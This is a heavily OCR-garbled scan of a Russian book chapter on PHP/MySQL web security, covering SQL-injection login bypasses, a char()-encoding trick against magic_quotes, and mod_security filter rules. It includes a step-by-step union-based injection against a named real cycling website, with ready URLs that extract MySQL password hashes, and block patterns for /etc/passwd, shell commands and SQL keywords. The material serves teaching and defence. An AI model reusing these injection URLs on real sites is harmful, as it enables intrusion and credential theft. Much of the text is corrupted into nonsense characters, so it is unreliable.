napojis ykasaTb npoueHT? B 3ToM ciiyvae 3anpoc BepHET BCE 3alUCH, H cleHapuii
nocuMTaeT Hallly aBTOPHU3ALHUIO KOPPEKTHOH, XOTA Ha CaMOM Jeie OHa TakoH He
ABNAETCA.

UtoObl aBTOPH30BATLCA MO/ YYXKHM HMEHEM, A0CTATOUHO YKa3aThb €ro UM NoJb-
soBatens (Ha Web-caiitax u QopyMax HMEHa 3aperMCTpUpOBaHHbBIX NMOb30BATE-
Aeli yaule BCEro He ABNAIOTCA CEKPETOM), @ B Ka4ecTBe Mapofis yKalaTh NPOLUEHT.
B pesynbTaTe 3anpoc HalaeT HYXHYIO 3aNHCh H paspelulT HaM BXOA. Xakepy A0¢-
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TATOMHO TONBLKO Y3HATb WMA aaMHHMCTpaTopa (daule Bcero 310 admin wiu
administrator), BOWTH NnoJ ero HMEHeM, H MOXKHO aenaTh Ha Web-caiite Bce, 4TO
Hyille YrOAHO U OT YYXKOro UMEHH.

Ecnu cuMBOn npouUeHTa 3ampellieH, & MOAYEePKUBAHHUA HET, TO Hailla 3ajnava
YCAOXKHACTCA, HO HE CHAbHO. MBI AOMKHBI TONbKO noaodparh AJNIUHY napons U
yKa3aTh COOTBETCTBYIOIEE KOJMYECTBO mnoAauepkusanuii. lonbop He oTHuUMer
OYeHb MHOFO BpeMeHH, HYXKHO TOJIbKO YKa3aTb CHauana OAuH CUMBOJ ITOAYEPKH-
BaHHA, 3aTeM [Ba, TPH W T. A., 1OKAa BXOJ HE 3aBepiuMTca yaaued. Konuvectso
nposepok 6yAeT paBHO KONHUYECTBY CHMBOJIOB B nmapoJse. Yaime Bcero 3to konuve-
cTBO He 6onee 10 cumBoOIOB.

Habbl He nomacTh Ha Takylo mpobremy, nocne nonyveHus 3anucedl HeOOXOAUMO
MPOM3BECTH €lle OAHY NPOBEPKY, KK IOKa3aHO B JINCTHHTE 5.2.

// TloucK Nosb30BaTelNId CpefcTBaMy 3anpoca K 0ase OaHHHX

Sresult=mysql_query({"SELECT * FROM users
WHERE username LIKE 'Susername'’

AND password LIKE '‘'S$password'");

// Ecimn pesynbTaT COOEpPXMT XOTA Okl OOHY CTPOKY, TO...
if (mysqgl_num_rows(Sresult)>0)

{

$userrec = mysql_fetch_array($result);

// TlpoBepaeM nosnb30BaTENIA eue pa3 cpencTBam PHP
if ((Suserrec[username]) == $username)

and (Suserrec[password]) == Spassworqd)

// Tlones30oBaTens 3aperucTpupOBaH

B paHHOM ciiyuae nocne nonyyeHuWs OaHHBIX Mbl YHUTaeM CTPOKY U3 pe3yAbTH-
pytoutero Habopa ¥ npoBepseM, 4ToObl UM NMOAL30BATENA U Napoib U3 3TOH cTpO-
k4 Obuid paBHBI HMEHHM NOAL3OBATENA W MapoJIO, NepelaHHbiM MOAb30BaTENEM.
Jra npoBepka npoucxoaut cpeactsamu PHP, U TyT yxxe cuMBOJbI NOAYEPKHBAHHS
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A

U MPOLIEHTA HE UMEIOT HUKAKHX CMELHANLHBIX 3HAYEHUH, 2 3HAYHT, LIyTKa XaKepa
He npoHaeT.

Ecau B Baieli cUCTEME HMA MOMB30BATENA HE YHHKA/BHO, M MO OOHHM HMEHEM
MOXKET ObITh HECKOBKO MMOJIb30BATENEH C pasHbIMH MApOJIAMH, TO MPOBEPKY HE-
06X0AHMO IenaTh, Kak MoKa3aHo B JUCTUHFE 5.3,

// NMouck nonb30BaTesNia CpeiCcTBaMM 3anpoca K 0ase JaHHEX

Sresult=mysql_query("SELECT * FROM users

WHERE username LIKE 'S$username’ ");

// Ecim pe3ynbTaT COOEPMAT XOTA Obl OOHY CTPOKY, TO...

if (mysql_num_rows(Sresult)>0)

{

// TepeGupaeM Bce 3ammMcu B pe3ylbTHpywoinem HaGope.

while ($userrec = mysql_fetch_array($result))

{
// TpoBepAeM NONbL3OBaATeNIA elle pas cpeacreamy PHP
if ((Suserrec[username) == Susername)

and (Suserrec[password])} == S$password)

// Tornb3oBaTesb 3aperucTpUpOBaH

break;

3nech yxe MpoUCXOAWT nepebop Bcex 3amuceld B pesysibTHpyloweM Habope
W npoBepka WMeHHd u napons ¢ nomouwbio PHP. Ecnu pesyastat xota 661 04HO#M
NPOBEPKH MOATBEPAMTCA, TO Nnons3oBatenb 6yner asTopuzosad. Habbl caenatl
3afpoc HHTEpecHee, u3 0a3bl maHHbIX BbIGMpaeM 3anucy TONBKO MO WMeHH U OF3
rnapons.

YT1o6bi He GbTO HUKAKHX NPOOGAeM, MOXKHO €LIEe HEMHOTO YNPOCTHTB cebe KH3Hb —
3aNpeTHTh UCMONbL30BaHUE CUMBONA MNOAYEPKMBaHHA W npouenTa. MoxHo npocro
BLIPE3aTh OTH CHMBOJIbI ¢ NOMOLUBIO PErYAAPHBIX BbIpaXEHHH.
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5.2.6. BoamoxHbIe npobnemsbl

CaszaHHbINA 3anpoc — BEIBOAMT pe3yAbTar obpalleHus K AByM u Hosiee CBA3aHHBIM
tabnuuam. Ecnu cBa3b HaBOAUTCA TOCHE TEPEMEHHON, B KOTOPYIO MbI BHEAPSAEM
Koz, TO ee HeoOXOAUMO BOCCTAaHOBMTH, NpEeXAE YeM CTaBUTh KomMMeHnTapuil. Ha-
MpUMeEPp, CLiCHapHi BbITIOAHAET cneayowuii SQL-3anpoc: !

SELECT *
FROM tablel tl, table2 t2
WHERE posterName='S$Susername'’

AND tl.keyfield = t2.keyfield

Ecnn B nepeMeHHOH Susername OyAeT NpocTO OAUHAPHAA KaBbiYKH H OTKPBLITHE!
KOMMEHTapHs, To pe3yabTaT Oyaer HexkenaTesbHbIM. Heo6xoaumo B nepeMeHHoli
nepenasaTh ¥ CBA3b, HAMPUMED:

' AND tl.keyfield = t2.keyfield and ... /*

Ecau kakas-To KOMaHZa He BBINOJHAETCA, TO 3TO IUIOC aAMHHHCTPATOpPY, KOTO=
pbiii 3a6A0KMpOBaN JOCTYIM, WM MPOCTO Y BaC HET NpaBs Ha BBIMIOJHEHHE AaHHOHK
KOMaHIbI.

Ewe onHa nperpana, KOTOPYIO YCTaHaB/IMBAIOT aAMMHHUCTPATOPH! H [IPOrpaMMHUCThI
nepea XakepamK: napameTp magic_quotes_gpc. ECAM 3TOT mapaMeTp BIJTIOYEHjy
TO Mepeld ONacHbLIMKH CMMBOJIAMH, TAKHMU KaK OAWHAapHasA KaBbiuKa, yCTAHABIHBa-=
erca ¢y, C 0aHOH CTOPOHBI, 3TO XOPOILO, MOTOMY YTO €C/IH XaKep B KauecTh®d
mapaMeTpa MepeAacT KasbiuKy, TO OH& He OymeT UMeTh CneLHaIH3UPOBAHHOIC!
3Ha4YeHHd. A B YeM e TOrja HeZOCTaTOK 3Toro napameTpa? B Tom, 4TO OH pacs
cnabnger anMUHUCTPATOpPa, M OH HAAEETCHA, YTO XAKEp HE CMOXXET UCMOAL3OBATh
SQL-uHBEKUHIO, HO 3TO He Tak. JlaHHYIO0 3aLHTY O4eHb Jierko o60iTH mpakTHue~
cku B moboii CYBI. [ina nayana nocCMOTPHM, KaK 3TO MOXHO cienath B MySQL.
JlormycTuM, 4TO Bbl XOTHTE BHEAPUTD cienyrowuil SQL-3anpoc:

INSERT INTO table VALUES (1, ‘'admin’)

Tak kak O4HHapHas KaBblYKa HCBO3MOXKHA, ITOT 3alIpOC HC MOXKET 6bITb BBIMON~
HCH, a KaK X€ Torga nepeaarb TEKCT, €CNH HEIb3A HUCNOAL30BATH KaBbl'-le? I_[a
OYCHb ITPOCTO — IN€peaaTh CTPOKY B BUAC KOJ0B:

INSERT INTO table VALUES (1, char(97, 100, 109, 106, 110))
Tenepy B SQL-3anpoce Het kaBbivkd, ¥ CYB]] ero BbINOJAHUT Aaxke MpH BKITIO-
YeHHOM napaMeTpe magic_quotes_gpc.

Utobbi BaM 66110 yoo6Hee, B TabA. 4.1 2 npuBen xoabl Bcex aHraunickux 6yks.
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Tabnuya 4.1. Tabnuya xodos ananudckux 6yxe

a 97 b 98 c 99
d 100 e 101 f 102
g 103 h 104 j 105
i 106 k 107 | 108
m 109 n 110 0 111
P 112 q 113 r 114
s 115 t 116 u 17
y 118 w 119 X 120
w 121 z 122

[lomumMo 6ykB BaM MOTYT NOHaaOOUTLCA €LUE U HEKOTOpPbIE Apyrue cumMBosbl. Ha-
npyuMep, CHMBO CJI3LAa UMeeT koa 47.

5.2.7. OT Teopun K NnpaKkTukKe

Hukakas Teopus He 3aMeHuT npakTuky. Het, Mbi He GyneM 3aHHMAaTbCA B3JIOMOM,
NOTOMY YTO 3TO HapyilleHWe 3aKOoHa. MbI' MPOCTO MPOBEAEM IMOUCK YA3BHUMBIX
k SQL-unbexuun Web-caiitos, moctpoenHbix Ha ceazke PHP + MySQL, 1 nocMoT-
pHM KakHe BO3MOXKHOCTH NPEHOCTABIIAET 3/I0YMbILUJIEHHHKY AaHHAA YA3BUMOCTb.

Hnsa Hayana nam noHanoburcs Web-caiit ¢ npunuyHoit nocewaemoctsio, B Google
1 3aMyCTHA NOMCK o ciosaM Sport, USA, php (310 cnyuaiiHbie cioBa, KOTOpbie
pHUIAY MHE B TOJIOBY) M Hauyal MpocmaTpuUBaTh pe3ynabTaT, BHIOHpas HyXKHOE.
[epsbiii Web-caiiT, koTopbii MEHS 3aHHTEPeCOBaN, HUYEr0 0COBOTO HE coaepxKan.
MoskeT B HEM U cozepkanuch oWUOKH, HO NOBEPXHOCTHBIH OCMOTP HUYETO OCO-
Goro He nokasan, Bce MapameTpbl, KOTOpbie 2 yBUAES, GHUALTPOBAIHCH HA OMACHbIE
CHMBOJIBI,

BropbiMm MHe Ha rna3za nonancs Web-cailt www.usacycling.org, nocpsweHHblii
BENOCHMENHOMY CMnOpTy. [[Be MHUHYTHI MHE MOHaAOOWAOCH HA TO, YTOOB HAUTH
epByI0 yA3BMMOCTb. Bce 3To BpeMs g noacTasnsan B napaMeTpbl OAWHAPHYIO Ka-
BbiYKy M >xaan coobuieHds o6 owubke. MU BOT OHa nosBUAach B CleHapHile
news/user/story.php B napamerpe id. Kak ke mo6aT aaMUHUCTPATOpL! Ha3biaalb
KI0uEeBOE 110/1€ B TaOIHLax WY NEepeMEHHbBIE U1 NOUCKA F10 3TOMY NMONI0 HMEHEMIT.

Ya3BuMblil cCueHapuii Hallied Y Ang NOATBEPKAEHHUA ITOro nobasnsto B napamerp
id ycnoede " and 1=1" u "and I=1". 310 3HauMT, YTO HYXKHO B aipecHOM CTpOKe
seecTH caeaytoude URL: http://www.usacycling.org/news/user/story.php?id=
1053' %20and %201=1 u http://www.usacycling.org/news/user/story.php?id=
1053' % 20and %201=1.
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[lepsbifi SQL-3anpoc He BLINOMHWICA, & BTOPOH OTpaboTan KOppPeKTHO. 3HAYMT,

napaMeTp id NMpH NOACTAHOBKE B 3aMpoC HE 3aKJIIOYAETCA B OAHHAPHBIE KABBIYKH.

UyTe no3ke a1 Y3Ha, Y4TO BKJIIOYEHA MarHyeckas KaBbluKa H TO, HTO napameTp id

He 3aKIIOYMAeTCA B OAMHAapHble KaBbIMKH — camas 6onbiuas ownbka aXMHHHUCTpA- .
topa. Ecniu 661 OH BBLINOMHWI 3TO NPOCTOE AEHCTBUE, TO A He CMOT Obl BCTPOMTH

KO, MOTOMY YTO MHE HYXXHO 6bu10 Obl 3aKpbiTh KaBbIYKY (BBLITIONHHTHL 3anpoc

' and 1=1), a TAK KaK OJMHapHad KaBblyka 3anpeweHa, T0 SQL-uHbekUUa He

npouuna 6sl.

Hrak, HaunHaio nepebMpaTb KOJIHYECTBO mnojed, BCTpauBas oOOBEJHHEHHE
3aMpocoM SELECT, H MOcjeaoBaTeslbHO yBenuuHBaio konudectBo NULL-nonefi:
www.usacycling.org/news/user/story.php ?id=1053 % 20union % 20select % 20null,
www.usacycling.org/news/user/story.php?id=1053 % 20union % 20select %20null,null
v T. a. Ecnu xonnuecTBo nosed He cosnager ¢ uMmerommumMea 8 Tabnuue, o Web-
cepBep AOSIXKEH BepHYTb OLIMOKY, KaK MoKa3aHo Ha pHc. 5.5.

Puc. 5.5. INpn HesepHOM KonuuecTee nonei Mol Buaum ownbky MySQL

[lepebop monro He npoaonxancs, notomy uto SQL-3anpoc B cLeHapHH noyyan
u3 Ga3bl JaHHbIX 4 nons, a 3Ha4MT, MHE HYXHO ObUlO BCTPOHTL OOBEAHHEHHE
C YEeTbIpbMA HYJIEBBIMH MOJAMH:

UNION SELECT null,null,null,null

Teneps paccmoTpuM Web-cTpaHulyy, koTopas otobpasunack nocine SQL-uHbeKUnH.
Huuyero ocobenHoro B Heil Her. Buaumo, cueHapyit UMTAET TOJIBKO OHY 3aMHCh
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U3 pe3ynbTara, Noy4eHHoro U3 6a3bi naHHLIX. UToOb YOeauThCsa B 3TOM, 1 BCTPOMN
cheaytomnit SQL-3anpoc:

UNION SELECT 1111,2222,3333,4444

SQL-3anpoc, KOTOpeI# BHIMOMHAET ClleHapuil k 6a3e NaHHBIX, BO3BPALIAET OXHY
cTaThio, kotopas M orobpaxaerca. Mo# nobasounsiii SQL-3anpoc pobasnger
K pe3yasTaTy elle OAHY CTPOKY, KOTOpPYIO cLeHapui npocto urHopupyer. Kax xe
MHE YBUIETb HYXHbl# pesynbtar? HyxHo, yrobsl nepseifi SQL-3anpoc, nponu-
CaHHBIA B CUECHAPHH, HUYEro He BepHyIl. Jlid 3TOro QOCTaTOMHO Hepes napaMerp
id nepeaaTtb HOMep HECYLIECTBYIOLIEH cTaTbH, HanpuMep, 99991053, 3to yucno
oveHb 6onblUIOe H 3 YBEPEH, YTO CTaTbH ¢ TaKUM HoMepoM He 6yaer. Tenepb nep-
Bbii SQL-3anpoc HUYero He BepHeT, U cLieHapHii BLIBEAET HYXKHbIit MHE pe3yJibTaT
(puc. 5.6). IlpaMoyronbHHUKamMH s BbiaenwWI obnacTH, KyAa nonaiy YMcna U3 MOEro
SQL.-3anpoca.

This Articls Publishe: For mors infarmation éuﬁhtb e

EvEnts

Puc. 5.6. Tenepb cuenapuit oToGpaxaeT peaynbTaT sHeaperHoro SQL-sanpoce
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Hasaiite nponomxum. Mue Hy)KHO y3HaTb UMEHA UcnonblyeMbix Tabauu. [Tompo-
6yem Hayraa, Benb Ha Web-caiite ecTh perucrpauus mnonb3oBaTeNieid, a 3HA4HT,
MOXXET CyluecTBoBaTh Tabnvua users. Jlobasum cnemytowunii SQL-3amnpoc, koro-
pblii BLIOUpPAET NpocThie YHCIOBLIE NOJA U3 TabNULb] users:

UNION SELECT 1111,2222,3333,4444 FROM users
Tyt MeHs xaana Heyaa4a u coobwenue o6 omundke:
Table 'news.users' doesn't exist

310 yxe 4To-10. MHe ckasanu, uto Tabnuua news.users He cyuecTsyet. Ho 1 xe
3arpailuBan IpoCcTO users, OTKyAa B3ANOCh news? 3TO UMA 6a3bl JaHHBIX, C KO-
Topo# pabotaer Web-caiT.

Heuxxemca panbite. CaMoe CAOXKHOE B TOM, YTO BKIIOYMEeHa (pUNbTpauMUs BBoAa
KaBbIYKH, H 1 HE MOTY HCMOab30BaTh €€ B cBoMX SQL-3anpocax. Hy, Huuero, kak-
Hubynp obotinemca. [lonpobyem obpatuThea k cuctemHoli 6aze gauHbix MySQL
U ee Tabsnnue user. Camoe HHTEpecHOE, HO 3Ta 6a3a gaHHBIX OKa3anach NOCTYII-
HOM, a 3HaYUT, MOXKHO BbIYHCIHTH Xel napons. MMa nonbzosarens MOXKHO I0y-
YHWTb C NMOMOLIBIO QYHKLHH USER (), 2 C MOMOLIUBIO PYHKUUH VERSION () MOXKHO
nonyuuts BepcHio CYB/I.

Bce, ytro MHe HykHO, a1 o6beauHun B oaus 6osbiuoii SQL-3anpoc W nonyuun
caeayomu URL: http://www.usacycling.org/news/user/story.php?id=
99991053 % 20union % 20select % 20mysql.user.password,USER(),VERSION(),
4444 % 20from % 20mysql.user/*.

PesynbraT ero BbinosiHeHHsa npuBeneH Ha puc. 5.7. [lpaMoyrosibHHKOM BbiE/ieHBI
NOAYYEHHBIE NAHHbIE, 3 UMEHHO:

O BBepXY >KHUPHBIM WPHPTOM BbIAEEH Xelll apoAs NepBoit 3anucy U3 Tabauubl
47cb2bfb53al1d10c;

0 4yTb HW)KE HMA MNOJb3OBATENs, TNMOA KOTOPbIM [IPOMCXOAMT IMOAKIIOYEHHE
k MySQL: usacycling @pedal;

O ewe HKxe HOMep Bepcu MySQL, a umenno 4.1.20.

Uto6bl MONYUYUTD CEOYIOLIYIO XELI-CYMMY, MOXHO BbINOMHUTD caeaytownii SQL-

3anpoc:

UNION

SELECT mysql.user.password, USER(), VERSION(), 4444,

FROM mysql.user

WHERE mysql.user.password NOT IN ('47cb2bfb53aldllc')
HUnu MOXHO BOCNONbB30BATLCA OrpaHH4€HHEM LIMIT.

UNION

SELECT mysql.user.password, USER(), VERSION(), 4444,
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FROM mysql .user
WHERE mysql .user.password
LIMIT 2,3

Teneps SQL-3anpoc BepHeT CTPOKH, HauMHasA CO BTOpOii No Tperblo. TakuM obpa-
30M, MO OJHOMY MOXXHO NPOYMTATH M3 TaONHLBI BCe HEOOXOAMMBIE CHCTEMHbIE
JNaHHbIE.

Tenepp ocraerca Tonbko noaobparh NMaposib K MONYYEHHOH XEL-CyMMe, H eciiy
MySQL no3eonser yaaneHHoe NMOAKIIOYEHHE, TO MOXHO MOAKIIOHATHCA K Hel
H AenaThb BCE, YTO YFTOAHO.

Sl He 3aHMMalOCh BaHAAIH3MOM, MO3TOMY COOOLUMN aJAMHHHUCTpaTopaM W TNpo-
rpaMMHCTaMm O HaiineHHo# ownOke. [TycTs HcnpassT.

Puc. 5.7. Tenepb y Hac AOCTaTOMHO UH(OPMALINK
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5.3. HacTtpouka 3awuntbl ot SQL-uHbBEeKUUM

SQL-uHBekuHs A0CTATOHHO OMacHa, HO MPH NpaBHIbHON HacTpoiike Web-cepaepa
XaKep He CMOXKET el NONIHOLIEHHO BOCNONB30BaTheA. HanpuMep, HeAaBHO 1 3arna-
Hyn Ha Web-caiitr www.skanditek.ru (puc. 5.8), xoropuiit comepkur owmnbxy
SQL-unbexkuuu. B none noucka NOCTAaTOUHO BBECTH KakoH-HUOYAbL TEKCT M yKa-

3aTb CMMBOJ OAMHApPHOW KaBbIUKH, H B pe3yibTaTe Mbl YBHOWUM coobiieHue o6
owunbke or MySQL (puc. 5.9).

Puc. 5.8. Web-cainT www.skanditek.ru

Y MeHsa 3ayecandch PyKH cAesiaThb UTO-TO M NOKa3aThb pa3paboTuuky owmbKy Ha
npuMepe, HO HUYero He BbILIO. HacTpoiiky XOCTHHroBoidt KOMMaHWM M nNpaba
noctyna B MySQL, noa xoropeimu pabotan Web-caiiT, He Mo3BoNsnyn BHEOAPHThH
koa. Ilpn nonbiTke n06GaBUTL KOMaHAY yAaneHUs Bcex 3anuced U3 Tabaunubl MEHA
KyAbTYpHO OTnpasnanyd Ha Web-calT XOCTHHrOBOH KOMMaHUH, FAe Kpacosanach
Haanuce "Request rejected”. TlonbiTkKM BCTaBUTL NaHHble, yAAIHTh Tabauiyy, ob-
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HOBUTh AAHHDLIC TAKKE 3aKaHYUBAJIUCH Heynaqeﬁ. Torpa s peuun nonpoﬁoaa'rb

NOMyunTh ROCTYN K ¢aiioBoit cucTeMe uepe3 (YHKUMH LOAD_FILE M into
outfile, HO CHOBa MEHSA XJa/la Heyaaua.

rapt Uxplorer

Puc. 5.9. Ownbka SQL

E,IIHHCTBCHHOC, 4TO A MOrI' A€MaTh — NpPOCMaTpUBATL TabNUUBI H BLITIONHATL JIO*
6bie 3anpocChkl SELECT, HO TaK KaK B JOCTYIHbBIX Tabnuuax HUYero 0coOeHHOro He
6blﬂ0, TO H JioMaTb ObLIO Heyero. BoT yro 3Ha4YHUT NnpaBHJIbHaA HaCTPOﬁKa, KOTO-
paf CrnacacT Aaxe OT HCONbITHLIX PYK NMPOrpaMMHCTOB.

3arnaHys Ha Web-caiit pa3zpaborurka u mpocMoTpeB Bece HX paboTsl B NopT¢OIHO,
1 BBIACHHUJ, 4TO NoaoOHaa ownbka HaxoauTCs B nonosHHe Web-caiiToB, KOTOpPbI®

pazpabaTbiBaIMCh 3TOW KOMIMAaHHe. Ju3aliHbl pUCYIOT OT/IHYHLIE, a BOT Nporpam-
MHCT ABHO HEOIBITHBIH.

HecmoTpa Ha TO, uTO Oe3onacHocTeh Web-cepBepa, B OCHOBHOM, 38BUCHT OT Bbie
IIONTHAEMbIX HA HEM CLIEHapUEB H NPOrpaMMHUCTORB, KOTOPbIE HX MULLYT, OCTh RO'%=



180 rnaea 5

MOXXHOCTb [TOCTPOUTD 3aLLHTY, KOTOpas He 3aBUCHT OT 3TUX ¢akTopos. OTaH4HOE
pelnexnHe naHHOH npobnemMbl — GecnnaTHbli MOAYNb AIA Apache noA Ha3BaHHEM
mod_security.

[puHuMn npeiicTBUA MOAYNS CXOXK C AEHCTBHAMHM CETEBOrO 3KpaHa, KOTOpblH
BcTpoeH B OC, TOBKO B AaHHOM CJTy4yae OH creuuanbHo paspaboraun ansa obecre-
uYeHUa B3auMoxelcTeua mo npotokony HTTP. Mogyns, Ha ocHOBE mpaBui, KOTO-
pbie 3aJaeT aAMUHHMCTPATOp, aHAIM3UpYeT 3anpochl Mojb3osaTenel k Web-
cepBepy U BBIHOCHUT CBOE PELLEHHE O BO3MOXXHOCTH IIPOMYCTHTD IMAKET.

[IpaBuna onpenensioT, 410 MOXKeT ObITh B 3ampoce, a 4ro HeT. Tam o6b4HO co-
nepxurca URL, oTkyna Heo6XoAMMO B3ATb AOKYMeHT unu (aiin. Kak MoxHO
chOpMyAHpPOBaTh NIPaBWIO LIS MOAYAA C TOYKH 3peHHUs 6€3011acHOCTH CHCTEMBbI?
PaccMorpuMm mpocreiitudii npumep: ans Web-cepsepa npeacTaBiseT ONacHOCTb
HecaHKUHOHUpoBaHHOe obpaleHue Kk Qaiiny /etc/passwd, a 3HaAUUT, ero He JOJIXK-
HO 6bITb B cTrpoke URL. Takum obpa3om, cozgaem mpaBuao, U MOAY/bL ITPOBEPAET
Ha OCHOBe 3aJaHHbIX ¢uabTpoB aapec URL, u ecsy oH HapyllaeT npasuna, To 3a-
Npoc OTKNOHAETCH.

Hrak, moaynbs mod_security MoxxHO Haifti Ha Web-caitre http://www.modsecurity.org.
[Tocne ero ycraHoskH B ¢aiine httpd.conf moxxHo OyneT ucnosb3oBaTh ZONOMHU-
TeNbHbIE IHPEKTUBL! GHIbTPaLHUH 3ampocoB. PaccMOTPHM HaubOAee UHTEPECHBIE
U3 HUX:

[ secFilterEngine On — BKJIIOYHTb P&XHM (QUNbTPALIMH 3aMPOCOB;

[ secFilterCheckURLEncoding On — mnpoBepaTb kogupoBky URL (URL encoding
is valid);

O sSecFilterForceByteRange 32 126 — HCIOJb30BaTh CHMBOJIbI TOABKO W3
yka3zaHHOro guama3oHa. CyliecTByeT HOCTaTOMHOE KOMHYECTBO CAYKEOHbIX
CHUMBOJIOB (HampuMep, NepeBoA KapeTkH, KOHEL CTPOKH), KOObl KOTOPLIX MEHee
32. bOABLIMHCTBO U3 HHX HEBHUAMMBI, HO TpeOytoT 06paboTkK HaXkaTHA coOT-
BETCTBY!OLIMX KnaBHil. Ho kak ke Torga xakep MOXKET BBECTH Takoi CUMBOA
B URL? Toabko uepe3 ux koa. Hanpumep, 4ToObl NnpUMEHHTbL CUMBOJT "KOHEL
cTpoku”, HeoOxonumo ykazatb B URL "%I13". B naHHoM caydyae Kkoabl CHMBO-
nos mexee 32 U Gonee 126 ABAAIOTCA HEAOMyCTHMBIMU U1 aapeca, NO3TOMY
BFIOJIHE NOTHYHO TaKue NMakeThl He nponyckaTbh kK Web-cepsepy;

(0 secAuditLog logs/audit_log — omnpeaenser ¢aiin xypHana, B koTopom 6y-
IeT COXpaHATbCA MHpopmauus ob ayaure;

(0 SecFilterDefaultAction "deny,log,status:406" — 3a7a€T ACHCTBHE IO
ymonuanuio. B naHuoM cnyudae ykasaH 3anper (deny);

O secFilter xxx redirect:http://www.webkreator.com — obecneyuBaer
nepeanpecatuto. Ecnu npasuja COGJ"OLICHbl, TO NOJIL30BATENA OTIIPABIAOT HA
Web-caiiT http://www.webkreator.com;
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O secFilter yyy log,exec:/home/apache/report-attack.pl — 3anycxaér
cueHapuii. Ecnu  ¢unbrp cpabarbiBaer, 1O OyAeT BBLINOMHEH CuUEHAPHIA
/home/apache/report-attack.pl;

O secFilter /etc/password — YCTaHABIMBAeT 3allpeT HAa MCMOJIb3OBaHHE
B 3afpoce nonb3oBaTens obpauienus k ¢aitny /etc/passwd. Takum xxe o6pasom
HY)XHO A06aBUTb OrpaHuueHHe Ha ¢aiin /etc/shadow;

0 secFilter /bin/ls — OTKa3 I0Jib30BaTeNAM B OOpalueHUH K JUPEKTHBaM.
B maHHOM ciyuae 3anpelaercs KOMaHAa 1s, KOTopas MOXKET MO3BOJIMTL XaKe-
PY YBHIAETb COAEPKHUMOE AHPEKTOPHH, €CIM B CLieHapUH ecTb onbka. Heob-
XOZMMO TPEAOTBPATHTL OOpAlLEHHs K TAKMM KOMAHJIaM, Kak cat, xm, cp, £tp U Ap.;

0 secFilter "\.\./" — KjiaccuHueckas aTaka, koraa B URL yka3biBaloTcs cum-
BOJIBY TOYEK. MIX He nofxHO Tam ObITh;

(0 secFilter "delete[[:space:])]+from" — 3alpeT TeKCTa delete ... from,
KOTOpBIH 4alle Bcero ucnosbidyerca B SQL-3ampocax Ans ynaneHHs JaHHBIX.
Takas cTpoka o4YeHb 4acTO HCMob3yercsa B atakax THna SQL-uunexuuu. IMo-
MHMO 3TOro, peKOMEHAYeTCA YCTaHOBUTD CeAyIOLHE TPH QHAbTpa:

e SecFilter "insert([:space:))+into" — Hcmosb3yercs B SQL-3anpocax
g nobaB/ieHHS JaHHBIX,

® SecFilter "select.+from" — Ucnonablyerca B SQL-3anpocax ang yreHus
JaHHBIX U3 TabnuLbl 6a3bl JAHHBIX;

e SecFilter "<(.|\n)+>" H SecFilter "<[[:space:]]*script" — IO-
3BOAAIOT 3aMTHTLCA OT XSS-atak (Cross-Site Scripting, MexcaiiToBoe BblI-
MOJTHEHHE CLleHApHEB).

Mbl paccMOTpPEAH OCHOBHBIE METOALI, UCTIOb30BAHHE KOTOPbIX MOXKET MOBLICHTD
GesomacHocTh Baiuero Web-cepsepa. Takum o6pa3zom, MOXKHO 3auiMlLATh Haxe
cet U3 Web-cepBepos.

5.4. HacTtpouka untepnpetatopa PHP

B uurepnperatope PHP ecTb BO3MOKHOCTH OIMCHLIBATL [PABH/A BBIIONHEHUS
KakUX-ubo neiicTeUi, Hcnonb3ys Gonee 6e3onacHbie HACTPONKU M npasa AOCTY-
na, — 310 pexxum safe_mode. Ho BbI nosmxHb oTnaBaTh cebe OTHET B TOM, YTO
HEKOTOpbI€ CLEHapUH MOTYT OTKa3aTbca paboTaTh B 3TOM pexkuMe. MHorue agmu-
HUCTPATOPbI B 3TOM Clly4ae OTIHOYAIOT safe_mode. JTO HE COBCEM BEpHO. Sl Bce-
rAa cHavana NpoBepsAld, MOXKHO JIH mepenucarh cueHapui ans paboTsl B 3TOM pe-
XKHMeE, H €C/IH 3TO HEBO3MOXKHO, TO TOALKO TOTAA BBIKJIOUAIO 6e3011acHbIit peXUM.

ITpu unacTtpoiike UHTEpnpeTaTopa Bbl NOJKHBI AEHCTBOBaTH M3 MONOKEHHA. 3a-
[IpCLIEII0 BCe, YTO He pa3peilieHo. M3HauanbHO cneayer 3akpbiTh ACE, YTO HYXKIIO
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U HEHYHO. A TIOTOM BKJIKOYATh HEOOXOAWMbIE BALLIUM CleHapUam onuuy. Jlyuine
BCEro, ecjid Bbl OyneTe 3aHMMaTbca KOHQHIrypHpoBaHHEM He TOJIbKO pabouero
Web-cepsepa, Ho H Web-cepsepa, KOTOpbIif HCIIONB3YIOT IPOrPAMMKCTBE A1 pa3-
paboTku ¥ OTIAaAKH CBOMX cLeHapues. B atom ciyyae MokHo OyaeT KoHTponHpo-
BaTh BCE YCTAHOBJICHHEIE [1apaMeTphl.

HeHcTBrA anMUHHUCTpaTopa A0/KHEI ObITh TECHO CBA3aHbl ¢ paboToil nMporpammucTa
cueHapHeB. Ecnu pa3zpaboTuuky Hy)XHbl KakUe-TO OMLUH, TO HMEHHO Bbl NOJKHbI
UX BKNIO4YaTL Ha oboux Web-cepsepax. O ao6biX KOppPeKTHPOBKAX, BICKYIUHX 3a
co0oi yMenbllleHHE (YBENHYEHHE) NpaB AOCTYNa, pa3paboTUMK HOMKEH BaM Co-
0611aTh, ¥ HACTPOIKY JOJKHbBI ObITh H3MEHEHDI,

AaMuHHCTpaTop M pa3paboTYHK AOAXKHBI HAXOOWTLCA B IIOCTOAHHOM KOHTAKTe,
4yTOOB! OMEpPATHBHO PearupoBaTh HA HEOOXOAHMMOCTb UCMOAB30BAHUA KakHX-A1HO0
AOTOAHUTENBHBIX Bo3MoxkHOocTe. HekoTopbie agMUHHCTpaTOphl U36aBIAIOTCA OT
0643aHHOCTH HACTPOMKH UHTEPIIPETATOPOB W MEPEBOAAT 3Ty (YHKUHIO Ha paspa-
60T4HKOB. DTO HE COBCEM NMPaBUJIbHO, IOTOMY YTO NMPOrPaMMHCT MHILET KO U HE
BCerAa AOCTATOMHO XOpoiuo pazbupaercs B BONPOCAX KOHQPUIypaUUH, '-lT06bI
obecnevynTts TpeOyembii ypoBeHb 6€30macHOCTH.

Bce Hacrpoiiku ans untepnperatopa PHP xpausrtca B ¢aitne /etc/php.ini. Camas
riaBHas OUPEKTUBA, KOTOPYIO CJACAYET pacCMOTpeTh, — safe_mode (M0 yMon4a-
HHIO 3HaYeHHe AUPEKTHBBI paBHO off). OHA NEpPEeBOAUT UHTEPNpETaToOp B 3aLUH-
